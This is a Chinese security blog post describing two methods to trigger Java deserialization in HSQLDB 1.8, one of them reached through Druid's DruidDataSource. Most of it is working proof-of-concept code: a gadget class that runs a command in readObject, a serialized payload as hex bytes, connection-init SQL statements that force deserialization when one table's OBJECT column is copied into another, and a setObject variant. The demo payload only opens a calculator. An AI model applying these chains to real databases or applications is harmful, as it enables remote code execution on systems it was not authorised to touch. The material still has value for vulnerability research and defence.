hsqldb 1.8 反序列化漏洞利用的新方式
有点鸡肋,目前最新版都2.7.2了。后面的栈堆去顺着走很多遍就知道个大概了,主要是不想写,麻烦。。。
添加一个反序列化口子,
package org.example;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Payload implements Serializable {
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Runtime.getRuntime().exec("calc");
}
}
pom.xml,
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>hsqldb_payload</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.2.8</version>
</dependency>
<dependency>
<groupId>org.hsqldb</groupId>
<artifactId>hsqldb</artifactId>
<version>1.8.0.10</version>
</dependency>
</dependencies>
</project>
- 反序列化流程:*
方法一利用正常的的执行语句达到反序列化的目的,
方法二需要调用setObject函数,
- 方法一:*
适用于反序列化链的构造,如利用jdbc漏洞,可以控制url和定义初始化语句,
那么就能利用druidDataSource的getter函数(getConnection),最终触发hsqldb进行反序列化,
package org.example;
import com.alibaba.druid.pool.DruidDataSource;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
public class Main {
public static String bytesToHex(byte[] bytes) {
// 创建StringBuilder以构建16进制字符串
StringBuilder hexString = new StringBuilder();
// 遍历字节数组中的每个字节
for (byte b : bytes) {
// 使用格式化字符串将每个字节转换为2位的16进制表示
String hex = String.format("%02X", b);
// 将转换后的16进制字符串追加到StringBuilder中
hexString.append(hex);
}
// 返回构建好的16进制字符串
return hexString.toString();
}
public static void main(String[] args) throws SQLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException {
byte[] bytes = new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112};
String hexString = bytesToHex(bytes);
System.out.println(hexString);
DruidDataSource druidDataSource = new DruidDataSource();
Field jdbcUrl = DruidDataSource.class.getSuperclass().getDeclaredField("jdbcUrl");
jdbcUrl.setAccessible(true);
jdbcUrl.set(druidDataSource, "jdbc:hsqldb:mem:mydb");
Field driverClass = DruidDataSource.class.getSuperclass().getDeclaredField("driverClass");
driverClass.setAccessible(true);
driverClass.set(druidDataSource, "org.hsqldb.jdbcDriver");
List<String> list = new ArrayList<>();
list.add("CREATE TABLE test_1 (id INTEGER IDENTITY, name VARCHAR(255), data OBJECT)");
list.add("INSERT INTO test_1 (name, data) VALUES ('Alice', 'ACED0005737200136F72672E6578616D706C652E5061796C6F616414A7B1AF83D500320200007870')");
list.add("CREATE TABLE test_2 (id INTEGER IDENTITY, name VARCHAR(255),data CHAR)");
list.add("INSERT INTO test_2 (name, data) SELECT name,data FROM test_1");
Field connectionInitSqls = DruidDataSource.class.getSuperclass().getDeclaredField("connectionInitSqls");
connectionInitSqls.setAccessible(true);
connectionInitSqls.set(druidDataSource, list);
druidDataSource.getConnection();
}
}
将表1的字段内容放入到表2时,如果表1的字段类型为OBJECT类型,那么就会通过executeInsertSelectStatement函数调用到Column.convertObject函数,最终进行反序列化,
package org.example;
import java.lang.reflect.InvocationTargetException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
public class Main {
public static String bytesToHex(byte[] bytes) {
// 创建StringBuilder以构建16进制字符串
StringBuilder hexString = new StringBuilder();
// 遍历字节数组中的每个字节
for (byte b : bytes) {
// 使用格式化字符串将每个字节转换为2位的16进制表示
String hex = String.format("%02X", b);
// 将转换后的16进制字符串追加到StringBuilder中
hexString.append(hex);
}
// 返回构建好的16进制字符串
return hexString.toString();
}
public static void main(String[] args) throws SQLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
byte[] bytes = new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112};
String hexString = bytesToHex(bytes);
System.out.println(hexString);
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection("jdbc:hsqldb:mem:mydb");
Statement statement = connection.createStatement();
statement.executeQuery("CREATE TABLE test_1 (id INTEGER IDENTITY, name VARCHAR(255), data OBJECT)");
statement.executeQuery("INSERT INTO test_1 (name, data) VALUES ('Alice', 'ACED0005737200136F72672E6578616D706C652E5061796C6F616414A7B1AF83D500320200007870')");
statement.executeQuery("CREATE TABLE test_2 (id INTEGER IDENTITY, name VARCHAR(255),data CHAR)");
statement.executeQuery("INSERT INTO test_2 (name, data) SELECT name,data FROM test_1");
}
}
- 方法二:*
利用setObject函数达到反序列化的效果,不过此方法不能利用在其他反序列化链中,
因为需要调用setObject函数,并且传入的参数javaObject没有实现反序列化接口,
package org.example;
import com.alibaba.druid.pool.xa.DruidXADataSource;
import org.hsqldb.lib.IntValueHashMap;
import org.hsqldb.types.JavaObject;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
public class Main {
public static void main(String[] args) throws SQLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
byte[] bytes = new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112};
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection("jdbc:hsqldb:mem:mydb");
Statement statement = connection.createStatement();
connection.prepareStatement("CREATE TABLE test (id INTEGER IDENTITY, name VARCHAR(255))").execute();
JavaObject javaObject = new JavaObject(bytes);
connection.prepareStatement("INSERT INTO test (name) VALUES (?)").setObject(1, javaObject);
}
}
//java -cp hsqldb.jar org.hsqldb.WebServer -database.0 file:mydb -dbname.0 mydb -port 8888
参考;
https://xz.aliyun.com/t/13931?time__1311=
https://m0d9.me/2021/04/26/Jdbc%E7%A2%8E%E7%A2%8E%E5%BF%B5%E4%B8%89%EF%BC%9A%E5%86%85%E5%AD%98%E6%95%B0%E6%8D%AE%E5%BA%93/
https://xz.aliyun.com/t/9162?time__1311=
https://xz.aliyun.com/t/10227?time__1311=
0 条评论
可输入 255 字